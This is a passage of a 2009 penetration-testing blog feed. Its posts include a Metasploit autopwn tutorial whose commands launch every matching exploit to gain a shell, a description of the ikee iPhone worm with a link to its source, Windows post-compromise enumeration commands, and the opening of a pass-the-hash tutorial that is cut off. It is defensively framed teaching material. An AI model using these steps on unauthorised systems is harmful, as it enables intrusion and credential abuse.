/&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_sSaQ0kp40gY/SvtNYhnkHNI/AAAAAAAAAA4/8wnSuA0CthA/s1600-h/nessus1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_sSaQ0kp40gY/SvtNYhnkHNI/AAAAAAAAAA4/8wnSuA0CthA/s320/nessus1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;As we can see, Nessus has picked up several ‘High’ risk vulnerabilities on the target system (indicated by the red highlighting).&lt;br /&gt;&lt;br /&gt;2. We will now export our Nessus scan results. In order to use these results in Metasploit’s autopwn module, we will need to save the results in the Nessus .nbe format.&lt;br /&gt;&lt;br /&gt;First click the ‘Export…” button In the ‘Report’ tab. Second, select the ‘Save as…’ option and choose ‘NBE (*.nbe)’. Now save the file.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_sSaQ0kp40gY/SvtNlSRlt5I/AAAAAAAAABA/DbSwRxz5D9Q/s1600-h/nessus2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_sSaQ0kp40gY/SvtNlSRlt5I/AAAAAAAAABA/DbSwRxz5D9Q/s320/nessus2.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;3. Now we want to import our Nessus output into Metasploit. Browse to your Metasploit main directory (On Backtrack 4 it will be /pentest/exploits/framework3) and fire up Metasploit.&lt;br /&gt;&lt;blockquote&gt;# ./msfconsole&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_sSaQ0kp40gY/SvtN3BVHMRI/AAAAAAAAABQ/Khpv8dUXPno/s1600-h/ms2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_sSaQ0kp40gY/SvtN3BVHMRI/AAAAAAAAABQ/Khpv8dUXPno/s400/ms2.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&amp;nbsp;Note: I am using Linux for this section, but Windows is fine.&lt;br /&gt;&lt;br /&gt;4. Next we want to create a database to store our Nessus results. This will allow autopwn to quickly traverse the database and assess whether the vulnerabilities found are indeed exploitable.&lt;br /&gt;At the Metasploit console, type:&lt;br /&gt;&lt;blockquote&gt;msf &amp;gt; db_create&lt;br /&gt;&lt;/blockquote&gt;You should see the following:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_sSaQ0kp40gY/SvtOFQTJxSI/AAAAAAAAABY/U9TQA99OBDA/s1600-h/ms1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_sSaQ0kp40gY/SvtOFQTJxSI/AAAAAAAAABY/U9TQA99OBDA/s320/ms1.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;You have just created an sqlite database to store the results of the Nessus scan.&lt;br /&gt;Note: Metasploit has context sensitive help which is very useful. If you type ‘help’ in the Metasploit console at any stage of this process you will be able to see the commands available to you for the specific module you have loaded. Very cool :)&lt;br /&gt;&lt;br /&gt;5. We’ll now connect to our newly created database. To do this, we type:&lt;br /&gt;&lt;blockquote&gt;msf &amp;gt; db_connect&lt;br /&gt;&lt;/blockquote&gt;You’ll notice that Metasploit is smart enough to realize that you want to connect to the most recently created database. If you wanted to connect to a different database – one that you had possibly made earlier – you would specifiy the path/database name after the db_connect command i.e. db_connect /root/.msf3/test.db&lt;br /&gt;&lt;br /&gt;6. Now lets import our Nessus results into Metasploit. For this, we type:&lt;br /&gt;&lt;blockquote&gt;msf &amp;gt; db_import_nessus_nbe /root/test.nbe&lt;br /&gt;&lt;/blockquote&gt;Notice here I have added the path to my Nessus output file after the import command (db_import_nessus_nbe).&lt;br /&gt;&lt;br /&gt;Note: You will not get any confirmation after you have imported the Nessus results into your database. Instead, you will just be returned to the Metasploit console prompt.&lt;br /&gt;&lt;br /&gt;7. Now we get to the autopwn part! It is a good idea at this point to type:&lt;br /&gt;&lt;blockquote&gt;msf &amp;gt; db_autopwn&lt;br /&gt;&lt;/blockquote&gt;This will display a list of arguments that the autopwn module can use.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_sSaQ0kp40gY/SvtOf1K2sCI/AAAAAAAAABg/sNL-6zD3OTk/s1600-h/ms3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_sSaQ0kp40gY/SvtOf1K2sCI/AAAAAAAAABg/sNL-6zD3OTk/s400/ms3.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;The arguments that I will first be using are:&lt;br /&gt;-t Show all matching exploit modules&lt;br /&gt;-x Select modules based on vulnerability references&lt;br /&gt;&lt;blockquote&gt;msf &amp;gt; db_autopwn –t -x&lt;br /&gt;&lt;/blockquote&gt;Note: At this point I could just use –e and autopwn would try and exploit the target system. However, in my case, I know that the target system is vulnerable to multiple denial of service exploits which will cause my system to crash – and I don’t particularly want that :)&lt;br /&gt;&lt;br /&gt;8. Exploiting! Now that we have seen which vulnerabilities are available to exploit, we have two options:&lt;br /&gt;a)Manually set up the exploit, or&lt;br /&gt;b)Let autopwn do the work for us&lt;br /&gt;&lt;br /&gt;For the sake of this tutorial, I’ll use the autopwn option.&lt;br /&gt;&lt;br /&gt;If you are happy to use all available exploits against the target system, the process would be as simple as: &lt;br /&gt;&lt;blockquote&gt;msf &amp;gt; db_autopwn –x –e –r&lt;br /&gt;&lt;/blockquote&gt;And viola! If one of the exploits was successful, you will be presented with a command shell of the target system.&lt;br /&gt;&lt;br /&gt;I hope this tutorial has shown just how simple it is in today’s environment to compromise an out-of-date/unpatched/misconfigured system.&amp;nbsp; I trust this reiterates the importance of maintaining a good patch policy alongside regular audits of system services.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-7424675817767610978?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/vmMcXIkNZi_1jLUfsD6Y5lavpBQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vmMcXIkNZi_1jLUfsD6Y5lavpBQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/vmMcXIkNZi_1jLUfsD6Y5lavpBQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/vmMcXIkNZi_1jLUfsD6Y5lavpBQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/7424675817767610978/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2009/11/metasploit-autopwn-hacking-made-simple.html#comment-form" title="5 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/7424675817767610978?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/7424675817767610978?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2009/11/metasploit-autopwn-hacking-made-simple.html" title="Metasploit Autopwn: Hacking made simple" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_sSaQ0kp40gY/SvtNYhnkHNI/AAAAAAAAAA4/8wnSuA0CthA/s72-c/nessus1.jpg" height="72" width="72" /><thr:total>5</thr:total></entry><entry gd:etag="W/&quot;D0YGQnkzcCp7ImA9WxBTFkQ.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-2341642736402642957</id><published>2009-11-10T17:48:00.000-08:00</published><updated>2009-12-13T01:05:23.788-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-13T01:05:23.788-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="archive" /><category scheme="http://www.blogger.com/atom/ns#" term="str0ke" /><category scheme="http://www.blogger.com/atom/ns#" term="code" /><category scheme="http://www.blogger.com/atom/ns#" term="exploit" /><category scheme="http://www.blogger.com/atom/ns#" term="repository" /><category scheme="http://www.blogger.com/atom/ns#" term="alternative" /><category scheme="http://www.blogger.com/atom/ns#" term="milw0rm" /><category scheme="http://www.blogger.com/atom/ns#" term="milworm" /><title>Milw0rm is back! -- Sort Of</title><content type="html">If you are someone who is interested in exploit code, you would have undoubtedly noticed that &lt;a href="http://www.milw0rm.com/"&gt;milw0rm.com&lt;/a&gt; has been dormant since September. Speculation has arisen over Str0ke's health -- with some even &lt;a href="http://bl4cksecurity.blogspot.com/2009/11/str0ke-milworms-funeral-is-this-friday.html"&gt;stating that he is dead&lt;/a&gt;. This is incorrect. However, whilst str0ke's health is intact, the milw0rm repository is not. It appears the site has been troubled by DoS attacks and Str0ke has been &lt;a href="http://twitter.com/str0ke"&gt;subject to trolling&lt;/a&gt;. However, with the unknown state of milw0rm, another exploit resource has risen.&lt;br /&gt;&lt;br /&gt;On November 4, Offensive Security &lt;a href="http://www.offensive-security.com/blog/offsec/offensive-security-exploit-archive/"&gt;announced&lt;/a&gt; they will be maintaining a new exploit repository -- one which replaces milw0rm. The Offensive Security Exploit Archive "...will be picking up from the place Milw0rm left, and will be maintaining a new exploit archive collection which will be open to the public."&lt;br /&gt;&lt;br /&gt;Copy-cat resources currently exist which mirror milw0rm:&lt;br /&gt;&lt;a href="http://www.inj3ct0r.com/"&gt;Inj3ct0r&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.milw.com.cn/"&gt;milw&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-2341642736402642957?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7xqdwbvv-C3F4nmDq-7WtIjU-QI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7xqdwbvv-C3F4nmDq-7WtIjU-QI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7xqdwbvv-C3F4nmDq-7WtIjU-QI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7xqdwbvv-C3F4nmDq-7WtIjU-QI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/2341642736402642957/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2009/11/milw0rm-is-back-sort-of.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/2341642736402642957?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/2341642736402642957?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2009/11/milw0rm-is-back-sort-of.html" title="Milw0rm is back! -- Sort Of" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;D0cMSH4yeCp7ImA9WxBTFkQ.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-5039094653399893864</id><published>2009-11-09T03:33:00.000-08:00</published><updated>2009-12-13T01:04:49.090-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-13T01:04:49.090-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="virus" /><category scheme="http://www.blogger.com/atom/ns#" term="australia" /><category scheme="http://www.blogger.com/atom/ns#" term="australian" /><category scheme="http://www.blogger.com/atom/ns#" term="ikee" /><category scheme="http://www.blogger.com/atom/ns#" term="code" /><category scheme="http://www.blogger.com/atom/ns#" term="worm" /><category scheme="http://www.blogger.com/atom/ns#" term="source" /><category scheme="http://www.blogger.com/atom/ns#" term="exploit" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="iphone" /><category scheme="http://www.blogger.com/atom/ns#" term="sourcecode" /><title>New Australian iPhone Worm</title><content type="html">Yesterday, A newly discovered iPhone worm was found in the wild. The worm targets jailbroken iPhones - primarily affecting Australian 3G customers. &lt;br /&gt;&lt;br /&gt;In this post I will sum up the worms operation and provide links on its removal, source code and further readings.&lt;br /&gt;&lt;br /&gt;Initially, the worm scans for Australian 3G IP addresses (hardcoded into the source) on the Vodafone, Optus and Telstra networks. It spreads through 'jailbroken' iPhones using the Cydia application. &lt;br /&gt;&lt;br /&gt;The worm spreads through the use of default SSH credentials. If the default SSH root password has not been changed (alpine), the worm will connect to port 22 and copy itself onto the phone. The worm will then kill the SSH service (to avoid someone else compromising the phone) and change the background image to &lt;a href="http://img41.imageshack.us/img41/730/asto.jpg"&gt;Rick Astley&lt;/a&gt;. The worm will then look for other deices to infect.&lt;br /&gt;&lt;br /&gt;Whilst the worm is currently frivolous in it's operations, it doesn't take much imagination to realise the potential for something more malicious.&lt;br /&gt;&lt;br /&gt;So now people will be asking question, why am I posting the source code? The reason here is twofold. I think it's important to not only  get the code out into the public so people can understand/identify the risk it poses, but also effectively defend against it should more malicious versions of the code become available.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://jqd.org/pastebin?id=903"&gt;Source Code&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.machackpc.com/iphone/3g/iphone-virus-ikee-protect-your-iphone/"&gt;Removal of the Worm&lt;/a&gt;&lt;br /&gt;&lt;a href="http://blog.jeltel.com.au/2009/11/interview-with-ikee-iphone-virus.html"&gt;Interview with ikee, the worm's author&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;More details about the worm:&lt;br /&gt;&lt;a href="http://isc.sans.org/diary.html?storyid=7549"&gt;http://isc.sans.org/diary.html?storyid=7549&lt;/a&gt;&lt;br /&gt;&lt;a href="http://mashable.com/2009/11/08/first-iphone-worm/"&gt;http://mashable.com/2009/11/08/first-iphone-worm/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://forums.whirlpool.net.au/forum-replies.cfm?t=1315624"&gt;First identification (author involved)&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-5039094653399893864?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/-LyKCjrdq9Cdt0wOkFMiQXI-F_o/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-LyKCjrdq9Cdt0wOkFMiQXI-F_o/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/-LyKCjrdq9Cdt0wOkFMiQXI-F_o/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-LyKCjrdq9Cdt0wOkFMiQXI-F_o/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/5039094653399893864/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2009/11/new-australian-iphone-worm.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/5039094653399893864?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/5039094653399893864?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2009/11/new-australian-iphone-worm.html" title="New Australian iPhone Worm" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;CU8AQnw7cCp7ImA9WxBTFkQ.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-3549529287359586203</id><published>2009-10-20T01:41:00.000-07:00</published><updated>2009-12-13T00:44:03.208-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-13T00:44:03.208-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="response" /><category scheme="http://www.blogger.com/atom/ns#" term="risk" /><category scheme="http://www.blogger.com/atom/ns#" term="documentation" /><category scheme="http://www.blogger.com/atom/ns#" term="incident" /><category scheme="http://www.blogger.com/atom/ns#" term="template" /><category scheme="http://www.blogger.com/atom/ns#" term="tutorial" /><category scheme="http://www.blogger.com/atom/ns#" term="incient response" /><category scheme="http://www.blogger.com/atom/ns#" term="report" /><category scheme="http://www.blogger.com/atom/ns#" term="incidentresponse" /><title>Incident Response Template</title><content type="html">Last week, a security incident occurred  on one of my client's networks. After the incident was resolved, formal documentation detailing the incident and incident response process was required for managerial review. I thought I would share this should anyone be interested in an incident response template. This is the template I came up with for the final incident response report:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://users.adam.com.au/pdunstan/files/IncidentResponseTemplate.docx"&gt;IncidentResponseTemplate.docx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Feel free to alter it relative to your needs.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-3549529287359586203?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/61KgnN0EpGuGtZwrP-zKW85YeO4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/61KgnN0EpGuGtZwrP-zKW85YeO4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/61KgnN0EpGuGtZwrP-zKW85YeO4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/61KgnN0EpGuGtZwrP-zKW85YeO4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/3549529287359586203/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2009/10/incident-response-template.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/3549529287359586203?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/3549529287359586203?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2009/10/incident-response-template.html" title="Incident Response Template" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;CU8FQnw7fSp7ImA9WxBTFkQ.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-7776422061641492282</id><published>2009-10-04T19:56:00.001-07:00</published><updated>2009-12-13T00:43:33.205-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-12-13T00:43:33.205-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="information gathering" /><category scheme="http://www.blogger.com/atom/ns#" term="forensics" /><category scheme="http://www.blogger.com/atom/ns#" term="enumeration" /><category scheme="http://www.blogger.com/atom/ns#" term="commandline" /><category scheme="http://www.blogger.com/atom/ns#" term="windows" /><title>Enumerating Windows Information</title><content type="html">&lt;p&gt;After you have gained access to a box, the first thing you want to do as a pen tester is obtain as much information about the machine/network as possible. Here is a list of commands that aim to enumerate host/network information from a Windows machine. The following commands are for Windows XP/Vista/7 unless stated otherwise.&lt;/p&gt;  &lt;p&gt;&lt;u&gt;Operating System Details&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;span style="font-family: tre"&gt;&amp;gt; ver&lt;/span&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;span style="font-family: tre"&gt;&amp;gt; systeminfo&lt;/span&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;&lt;span style="font-family: tre"&gt;Who are you logged in as&lt;/span&gt;&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;span style="font-family: tre"&gt;&amp;gt; set username&lt;/span&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;Which domain/workgroup is the machine apart of&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;span style="font-family: tre"&gt;&amp;gt; set userdomain&lt;/span&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;What is the machine called&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;span style="font-family: tre"&gt;&amp;gt; set computername&lt;/span&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Windows 7 only&lt;/em&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;span style="font-family: tre"&gt;&amp;gt; whoami&lt;/span&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;List user groups on the system&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; net localgroup&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;List users on the machine&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; net user&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;List users in administrative group&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; net localgroup administrators&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;View all mapped logical/shared drives on the system&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; wmic logicaldisk get caption,description,providername&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;List all listening services on the machine&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; netstat –nao&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;See which other machines the system has been communicating with&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; arp –a&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;View what directories are currently being shared&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; net share&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;View firewall configuration&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; netsh firewall show config&lt;/p&gt;    &lt;p&gt;&lt;em&gt;&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;Windows 7 only&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&amp;gt; netsh advfirewall firewall show rule name=all more&lt;/p&gt;    &lt;p&gt;or&lt;/p&gt;    &lt;p&gt;&amp;gt; netsh advfirewall firewall show rule name=all dir=&amp;lt;inout&amp;gt;&lt;/p&gt;    &lt;p&gt;&lt;em&gt;NOTE: For more information on this command please see:&lt;/em&gt;&lt;/p&gt;    &lt;p&gt;&lt;a title="http://support.microsoft.com/kb/947709" href="http://support.microsoft.com/kb/947709"&gt;http://support.microsoft.com/kb/947709&lt;/a&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;View all currently running processes&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; tasklist&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;Find a specific task through Process ID (PID), where x is an arbitrary PID&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; tasklist /fi “pid eq x”&lt;/p&gt;    &lt;p&gt;or&lt;/p&gt;    &lt;p&gt;&amp;gt; tasklist find “x”&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;u&gt;Find tasks running under a specific user, where x is an arbitrary username&lt;/u&gt;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&amp;gt; tasklist /fi “username eq x”&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;&lt;/p&gt;  &lt;p&gt;For more information on information gathering/windows forensics, check out:&lt;/p&gt;  &lt;p&gt;&lt;a title="http://www.irongeek.com/i.php?page=" href="http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots"&gt;http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/248147735868857337-7776422061641492282?l=www.defenceindepth.net' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Urftnx3XI2zlbC5S-bU3YJ4_CSA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Urftnx3XI2zlbC5S-bU3YJ4_CSA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Urftnx3XI2zlbC5S-bU3YJ4_CSA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Urftnx3XI2zlbC5S-bU3YJ4_CSA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.defenceindepth.net/feeds/7776422061641492282/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.defenceindepth.net/2009/10/enumerating-windows-information.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/7776422061641492282?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/248147735868857337/posts/default/7776422061641492282?v=2" /><link rel="alternate" type="text/html" href="http://www.defenceindepth.net/2009/10/enumerating-windows-information.html" title="Enumerating Windows Information" /><author><name>Patrick Dunstan</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total></entry><entry gd:etag="W/&quot;C0EEQ348eip7ImA9WxBXGE4.&quot;"><id>tag:blogger.com,1999:blog-248147735868857337.post-6782772182330272435</id><published>2009-08-29T01:30:00.000-07:00</published><updated>2010-01-29T22:06:42.072-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-01-29T22:06:42.072-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="pass-the-hash" /><category scheme="http://www.blogger.com/atom/ns#" term="pentest" /><category scheme="http://www.blogger.com/atom/ns#" term="samba" /><category scheme="http://www.blogger.com/atom/ns#" term="passthehash" /><category scheme="http://www.blogger.com/atom/ns#" term="backtrack4" /><category scheme="http://www.blogger.com/atom/ns#" term="penetrationtesting" /><category scheme="http://www.blogger.com/atom/ns#" term="backtrack" /><title>Pass-the-Hash Attack with Backtrack 4</title><content type="html">For the uninitiated, a pass-the-hash attack is a way to gain access to a Windows machine without having to supply user credentials. Sounds great yeah? Cool, now you can go ahead and delete Cain and john because your password cracking days are over? Well, not quite. Before you get too excited you should realize there's a catch -- you must first have in your possession a password hash of the machine that you want to compromise. So now you're probably asking yourself, "Why is that useful if I need to have access to the box in the first place?" Well, picture this:&lt;br /&gt;&lt;br /&gt;Say you were conducting a penetration test on Company X and you were unable to crack the administrator password. Now, like most organizations, Company X is using the same administrator password on all of its machines. So gaining access to this password would allow you to pwn the entire network. Now lets say that Company X believes strongly in security, and has a 20 character random password for their administrator password. So now you're screwed right? Wrong.&lt;br /&gt;&lt;br /&gt;By having access to just one machine that holds this master account that is present on all machines (the administrator account in this example), you are able to utilize a pass-the-hash attack by 'passing' just the hash to every other machines on the network. By receiving the hash, Windows believes that you have successfully authenticated and provides you access to the host. Kinda cool huh?&lt;br /&gt;&lt;br /&gt;Now that I've given you some background, here's how you go about setting it up on Backtrack 4. There are a few tweaks that need to be made in order for this to work on Backtrack 4.&lt;br /&gt;&lt;br /&gt;Pass the Hash Attack Tutorial for Backtrack 4 Users:&lt;br /&gt;&lt;br /&gt;1. Download Samba 